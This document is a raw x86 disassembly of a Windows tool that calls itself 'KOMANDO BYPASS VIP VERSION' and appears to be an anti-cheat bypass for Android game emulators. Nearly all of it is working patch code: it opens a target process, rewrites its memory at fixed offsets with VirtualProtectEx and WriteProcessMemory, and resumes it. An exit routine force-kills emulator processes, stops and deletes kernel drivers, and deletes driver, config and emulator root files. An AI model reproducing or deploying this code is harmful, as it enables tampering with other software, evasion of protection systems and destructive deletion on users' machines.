mov edx, str._n____Getting_base_Addr_Found:
mov ecx, eax
call fcn.00460390
push 0x44df50
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.4FC32000
mov ecx, eax
call fcn.00460390
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [0x64d860]
mov dword [0x64d750], eax
test ecx, ecx
jne 0x45aac3
mov dword [ebp - 0x38], ecx
lea edx, [ecx + 0x30]
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x40], 0x464c457f
mov dword [ebp - 0x3c], 0x10101
mov dword [ebp - 0x30], 0x280003
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x24], 0x34
mov dword [ebp - 0x20], 0x7676624
mov dword [ebp - 0x1c], 0x5000200
mov dword [ebp - 0x18], 0x200034
mov dword [ebp - 0x14], 0x28000a
call fcn.0046c250
mov dword [0x64d754], eax
test eax, eax
je 0x45aa89
cmp eax, 0x2d
jne 0x45aaa6
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44dfb0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._n___Bypassing_Faild_______
mov ecx, eax
call fcn.00460390
cmp dword [ebp - 0xac], 2
je 0x45b069
mov edx, dword [ebp - 0x100]
call fcn.004596a0
jmp 0x45b069
cmp dword [ebp - 0xac], 2
jne 0x45afc9
cmp dword [ebp - 0xb0], 1
mov edx, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jne 0x45ab39
lea esi, [ecx + 0x5cbc8e4]
mov dword [ebp - 0xa4], 0x43850000
lea ecx, [ebp - 0x74]
push ecx
push 0x40
push 4
push esi
push eax
call edx
push 0
push 4
lea eax, [ebp - 0xa4]
push eax
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push dword [ebp - 0x74]
push 4
push esi
push dword [0x64d750]
call eax
mov eax, dword [0x64d750]
mov ecx, dword [0x64d860]
mov edx, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea esi, [ecx + 0x4154860]
mov byte [ebp - 0x69], 0
lea ecx, [ebp - 0x70]
push ecx
push 0x40
push 1
push esi
push eax
call edx
push 0
push 1
lea eax, [ebp - 0x69]
push eax
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push dword [ebp - 0x70]
push 1
push esi
push dword [0x64d750]
call eax
mov esi, dword [0x64d860]
lea eax, [ebp - 0x74]
push eax
push 0x40
push 4
add esi, 0x457ec40
mov dword [ebp - 0xa8], 0
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push 4
lea eax, [ebp - 0xa8]
push eax
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push dword [ebp - 0x74]
push 4
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov esi, dword [0x64d860]
lea eax, [ebp - 0x70]
push eax
push 0x40
push 4
add esi, 0x47f94d0
mov dword [ebp - 0x90], 0
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push 4
lea eax, [ebp - 0x90]
push eax
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push dword [ebp - 0x70]
push 4
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov esi, dword [0x64d860]
lea eax, [ebp - 0x74]
push eax
push 0x40
push 1
add esi, 0x14aef82
mov byte [ebp - 0x91], 0x9a
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push 1
lea eax, [ebp - 0x91]
push eax
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push dword [ebp - 0x74]
push 1
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov esi, dword [0x64d860]
lea eax, [ebp - 0x70]
push eax
push 0x40
push 1
add esi, 0x14aef86
mov byte [ebp - 0x92], 0x48
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push 1
lea eax, [ebp - 0x92]
push eax
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push dword [ebp - 0x70]
push 1
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov esi, dword [0x64d860]
lea eax, [ebp - 0x74]
push eax
push 0x40
push 0x10
add esi, 0x14dec40
mov dword [ebp - 0x84], 0x3f666666
push esi
push dword [0x64d750]
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push 0x10
lea eax, [ebp - 0x84]
push eax
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push dword [ebp - 0x74]
push 0x10
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov esi, dword [0x64d860]
lea eax, [ebp - 0x70]
push eax
push 0x40
push 5
add esi, 0x15836dc
mov dword [ebp - 0x58], 0xeef1fa00
push esi
push dword [0x64d750]
mov byte [ebp - 0x54], 0xf
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push 5
lea eax, [ebp - 0x58]
push eax
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push dword [ebp - 0x70]
push 5
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov esi, dword [0x64d860]
lea eax, [ebp - 0x74]
push eax
push 0x40
push 1
add esi, 0x11d64fc
mov byte [ebp - 0x93], 0
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push 1
lea eax, [ebp - 0x93]
push eax
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push dword [ebp - 0x74]
push 1
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov esi, dword [0x64d860]
lea eax, [ebp - 0x70]
push eax
push 0x40
push 5
add esi, 0x1356948
mov dword [ebp - 0x60], 0xeef1fa00
push esi
push dword [0x64d750]
mov byte [ebp - 0x5c], 0xf
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push 5
lea eax, [ebp - 0x60]
push eax
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push dword [ebp - 0x70]
push 5
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov esi, dword [0x64d860]
lea eax, [ebp - 0x74]
push eax
push 0x40
push 6
add esi, 0x135694f
mov dword [ebp - 0x68], 0xb100c3da
push esi
push dword [0x64d750]
mov word [ebp - 0x64], 0xc0ee
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push 6
lea eax, [ebp - 0x68]
push eax
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push dword [ebp - 0x74]
push 6
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov esi, dword [0x64d860]
lea eax, [ebp - 0x70]
push eax
push 0x40
mov byte [ebp - 0x94], 0xb4
add esi, 0x1356956
push 1
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push 1
lea eax, [ebp - 0x94]
push eax
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push dword [ebp - 0x70]
push 1
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov esi, dword [0x64d860]
lea eax, [ebp - 0x74]
push eax
push 0x40
push 3
add esi, 0x1356958
mov word [ebp - 0xa0], 0xfa10
push esi
push dword [0x64d750]
mov byte [ebp - 0x9e], 0xf1
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push 3
lea eax, [ebp - 0xa0]
push eax
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push dword [ebp - 0x74]
push 3
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov esi, dword [0x64d860]
lea eax, [ebp - 0x70]
push eax
push 0x40
push 8
add esi, 0x135695c
mov dword [ebp - 0x9c], 0x7a000002
push esi
push dword [0x64d750]
mov dword [ebp - 0x98], 0x7a000002
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push 8
lea eax, [ebp - 0x9c]
push eax
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push dword [ebp - 0x70]
push 8
push esi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov esi, dword [0x64d860]
push 4
call fcn.005bb78b
push esi
push 4
mov edx, eax
mov ecx, 0x3ce0664
mov dword [eax], 0
call fcn.00459600
add esp, 0xc
jmp 0x45b022
cmp dword [ebp - 0xb0], 1
jne 0x45b022
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea edi, [ecx + 0x5cbc8e4]
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x90], 0x43850000
push ecx
push 0x40
push 4
push edi
push eax
call esi
push 0
push 4
lea eax, [ebp - 0x90]
push eax
push edi
push dword [0x64d750]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push dword [ebp - 0x70]
push 4
push edi
push dword [0x64d750]
call esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x100]
call fcn.004596a0
push dword [ebp - 0x104]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push str.NtResumeProcess
push str.ntdll
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
call eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x104]
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push str.NtResumeProcess
push str.ntdll
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
call eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1f4
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44df20
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._n____https:__discord.gg_2rwt8T57_n
mov ecx, eax
call fcn.00460390
push 0x1f4
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44dfe0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._nBYPASS_DONE_PLEASE_USE_SAFE_EXIT_
mov ecx, eax
call fcn.00460390
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44dfe0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._KOMANDO_BYPASS_VIP_VERSION_n
mov ecx, eax
call fcn.00460390
push 0x12c
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44e010
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.PRESS_1_FOR_SAFE_EXIT_n
mov ecx, eax
call fcn.00460390
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea eax, [ebp - 0xb4]
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::operator___int__]
cmp dword [ebp - 0xb4], 1
jne 0x45b2d0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44def0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.Closing
mov ecx, eax
call fcn.00460390
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44def0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x634790
mov ecx, eax
call fcn.00460390
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44def0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x634790
mov ecx, eax
call fcn.00460390
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44def0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x634790
mov ecx, eax
call fcn.00460390
push 0x7d0
call edi
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.TaskKill__f__im_adb.exe
call esi
push str.TaskKill__f__im_AndroidEmulator.exe
call esi
push str.TaskKill__f__im_AndroidEmulatorEn.exe
call esi
push str.TaskKill__f__im_AndroidEmulatorEx.exe
call esi
push str.TaskKill__f__im_AppMarket.exe
call esi
push str.sc_stop_devil__sc_delete_devil
call esi
push str.del_C:devil.sys
call esi
push str.del_C:UserCustom.ini
call esi
push str.del_C:RESET_10_min.bat
call esi
push str.del_C::GuestReset.bat
call esi
mov esi, dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
push str.C:Program_Files__x86_SmartGaGaProjectTitan_androidfs_7.1.2_root
call esi
push 0x63645c
call esi
push 0x63648c
call esi
push str.C:Program_FilesTxGameAssistantAOW_Rootfs_100
call esi
push 0x6364f0
call esi
push 0x636520
call esi
add esp, 0x40
push str.D:Program_FilesTxGameAssistantAOW_Rootfs_100
call esi
push 0x636584
call esi
push 0x6365b4
call esi
push str.E:Program_FilesTxGameAssistantAOW_Rootfs_100
call esi
push 4
call fcn.005bb382
mov dword [ebp - 0x70], eax
mov dword [eax], 0x459670
lea ecx, [ebp - 0x98]
mov byte [ebp - 4], 6
push ecx
push 0
push eax
push 0x468e80
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x2c
mov dword [ebp - 0x9c], eax
test eax, eax
je 0x45b2be
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x98]
test ecx, ecx
je 0x45b2b6
push ecx
push eax
call dword [sym.imp.MSVCP140.dll__Thrd_detach]
add esp, 8
test eax, eax
jne 0x45b2b6
mov byte [ebp - 4], 1
jmp 0x45b2d6
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
push 6
mov dword [ebp - 0x98], 0
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
mov esi, dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0xe
movups xmmword [ecx], xmm0
push str.sc_stop_driver
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.004561e0
call fcn.00457ee0
mov ecx, esp
xorps xmm0, xmm0
push 0x10
push str.sc_delete_driver
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.004561e0
call fcn.00457ee0
push str.C:hookdrv.sys
call esi
mov ecx, dword [ebp - 0xbc]
add esp, 0x1c
cmp ecx, 0xf
jbe 0x45b367
mov edx, dword [ebp - 0xd0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45b35d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45b393
push ecx
push edx
call fcn.005bb658
add esp, 8
mov ecx, dword [ebp - 0xe8]
cmp ecx, 0xf
jbe 0x45b3a3
mov edx, dword [ebp - 0xfc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45b399
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x45b399
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005bb658
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005bb374
mov esp, ebp
pop ebp
ret